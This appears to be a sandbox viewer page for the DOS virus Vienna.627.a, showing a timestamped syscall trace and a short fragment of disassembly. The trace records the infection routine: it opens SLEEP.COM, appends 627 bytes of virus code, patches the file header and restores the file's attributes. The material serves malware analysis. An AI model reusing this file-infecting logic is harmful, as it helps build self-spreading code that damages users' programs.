Sample viewer

vx.netlux.org/Virus.DOS.Vienna.627.a

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:53:02.680019035Z 48 PC: 12a73 | Get DOS version
2018-12-17T22:53:02.68170647Z 47 PC: 12a7f | Get disk transfer address
2018-12-17T22:53:02.682869203Z 26 PC: 12a8f | Set disk transfer address
2018-12-17T22:53:02.684072009Z 78 PC: 12b16 | Find first file
2018-12-17T22:53:02.691681553Z 67 PC: 12b50 | Get or set file attributes
2018-12-17T22:53:02.697798487Z 67 PC: 12b62 | Get or set file attributes
2018-12-17T22:53:02.715979341Z 61 PC: 12b6d | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:53:02.723275853Z 87 PC: 12b79 | Get or set file date and time
2018-12-17T22:53:02.724893874Z 44 PC: 12b83 | Get time 0x12b83: and dh, 7
0x12b86: jmp 0x12b97
0x12b88: mov ah, 0x40
0x12b8a: mov cx, 5
0x12b8d: mov dx, si
0x12b8f: add dx, 0x8a
0x12b93: int 0x21
0x12b95: jmp 0x12bfc
0x12b97: mov ah, 0x3f
0x12b99: mov cx, 3
0x12b9c: mov dx, 0xa
0x12b9f: nop
0x12ba0: add dx, si
0x12ba2: int 0x21
0x12ba4: jb 0x12bfc
0x12ba6: cmp ax, 3
0x12ba9: jne 0x12bfc
0x12bab: mov ax, 0x4202
0x12bae: mov cx, 0
0x12bb1: mov dx, 0
2018-12-17T22:53:02.72713941Z 63 PC: 12ba4 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:53:02.733984625Z 66 PC: 12bb6 | Move file pointer
2018-12-17T22:53:02.735850035Z 64 PC: 12bda | Write file or device (Write 627 bytes on handle 5)
2018-12-17T22:53:02.74733998Z 66 PC: 12bed | Move file pointer
2018-12-17T22:53:02.748705295Z 64 PC: 12bfc | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:53:02.75985332Z 87 PC: 12c0f | Get or set file date and time
2018-12-17T22:53:02.76104762Z 62 PC: 12c13 | Close file
2018-12-17T22:53:02.767697155Z 67 PC: 12c21 | Get or set file attributes
2018-12-17T22:53:02.780137783Z 26 PC: 12c2b | Set disk transfer address
2018-12-17T22:53:02.781924267Z 9 PC: 12a58 | Display string (String= 'Hello, world!')